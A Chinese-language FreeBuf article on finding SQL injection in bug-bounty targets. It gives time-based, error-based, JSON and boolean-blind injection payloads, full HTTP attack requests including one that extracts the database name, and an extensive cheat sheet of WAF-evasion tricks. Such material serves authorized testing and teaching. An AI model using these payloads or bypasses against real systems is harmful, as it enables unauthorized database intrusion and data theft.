xiasql被动扫描
挖掘src的时候,尽量使用xiasql来被动fuzz,xiasql的payload不会被waf拦截。
但是xiasql跑不出来完全无回显的注入,完全无回显的注入需要利用延时来进行判断。
1' and if(1=1,sleep(10),1) #
1' waitfor delay '0:0:5' -- +
完全无回显的sql注入是很难挖的,挖掘效率也是非常低的,适合白盒审计。
sql注入实战挖掘案例
报错注入案例1:整数型
corpid处存在报错注入,这个参数是整数型,通过xiasql被动直接能扫出来。
报错注入案例2:字符型
参数wallet_type存在字符型sql注入。
报错注入案例3:json格式中的sql注入
json格式中也会存在sql注入,只要参数内容经过sql查询,就会可能存在sql注入的风险,与参数存放格式无关:
但要注意的是,xiasql扫不出来json格式下整数型的sql注入,比如说:
{
"id":1
}
这是因为xiasql的payload不符合json格式,例如如下payload:
{
"id":1-1
}
这并不代表不存在sql注入,仅仅把参数内容用引号括起来即可,让它符合json格式:
{
"id":"1-1"
}
布尔盲注案例1
如果探测到注入为布尔盲注,直接上sqlmap证明漏洞存在即可。这里是adtypes存在sql注入:
POST /Ad/GetPubAdHandler.ashx HTTP/2
Host: xxx
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
X-Forwarded-For: 127.0.0.1
Priority: u=1, i
from=4037&location=7930&newFormat=1&hdtype=10616&adtypes=78
布尔盲注案例2
有时候sqlmap抽风,自己写脚本进行布尔盲注。这里的参数v存在布尔盲注。
GET /reg/query.html?action=q&v=30168c29704d2b8d8&d=301%2fcase%20when%20ascii(substring(database()%2c1%2c1))%3d119%20then%201%20else%20exp(999)%20end%20--%20%2b%20then%201%20else%20exp(999)%20end%20--%20%2b HTTP/1.1
Host: xxxxxx
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: Hm_lvt_11280705779801ddbfaf05ba562a39c2=1757582865
Connection: keep-alive
payload解码后:
301/case when ascii(substring(database(),1,1))=119 then 1 else exp(999) end -- +
写个脚本,爆个库名证明漏洞存在就好。
waf绕过
生僻函数
函数 | 替换函数 | 具体功能 |
---|---|---|
mid | substr | 截取字符串 |
join | , | 联合查询,能绕过逗号 |
like | mid、substr、substring、= | 模糊匹配 |
limit 1 offset 0 | limit 0,1 | 限制查询条数,能绕过逗号 |
greatest | >、< | 返回最大值 |
least | >、< | 返回最小值 |
between 32 and 127 | >、< | 返回 bool,数值和字符都可以判断 |
exp | 计算 e 的 n 次方,运行时报错(710 是分界点) | |
power | 计算 a 的 b 次方,运行时报错(3 的 646 次方是分界点) | |
case when 条件 then 返回值 else 返回值 | 可用于表达式中,如:1/case when 语句 | |
nullif | 两个值相同返回 null,不同返回第一个值 | |
coalesce | 传入多个值,如果遇到 null,就跳过取下一个值 | |
!(id<>1) | id=1 | 过滤语句:返回 bool 类型:0 或 1 |
benchmark | sleep | 计算 n 次表达式。 |
bin、hex | ascii | 绕过编码。 |
concat_ws | group_concat | 连接查询结果。 |
datadir | @@datadir | 查询数据库文件存放目录 |
union distinct select | union select | 联合查询 |
group by | order by | 按列排序 |
limit 1 into @a,@b,@c | order by | 按列排序 |
内敛注释
select /*!version()*/
# 当 mysql 版本 > 50001 时,以下语句执行。
select /*!50001 version()*/
# 探测 mysql 版本
select /*!80001 version()*/
# 如果低于 8 版本,直接报错。
# 5.7.26 版本:50726
注释脏数据
/*/////sad*asdxxx???*/
select/*/////sad*asdxxx???*/*/*/////sad*asdxxx???*/from users;
函数:
database/*/////sad*asdxxx???*/(/*/////sad*asdxxx???*/)
空格绕过
mysql:/**/、/*!*/、%09、%0a、%0b、%0c、%0d、%a0
重要:%0a 是换行符、url 中 + 号表示空格编码 %2B
逗号绕过
select substr(database(),1,1);
select substr(database()from(1)for(1));
select mid(database()from(1)for(1));
like 截取字符
select if(user() like 'roo%',sleep(1),1)
and or xor not 绕过
and=&&
or=||
xor=|
not=!
其他的绕过思路
超多垃圾数据+超大数据包+并发
分块传输绕过(前提是支持)
某些场景下,waf几乎绕不过去,比如过滤单引号,过滤绝大多数关键字,和一些敏感字符的检测(如:/*?/),还有一些情况下存在waf和代码层过滤的双层防护,导致即使xiasql扫到sql注入,也无法证明其危害,甚至超大数据包waf也会强行匹配。
所以某些情况下,waf或人为干预确实能阻止sql注入漏洞。
其他师傅的一些思路
水平越权口出现sql注入的概率较大
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)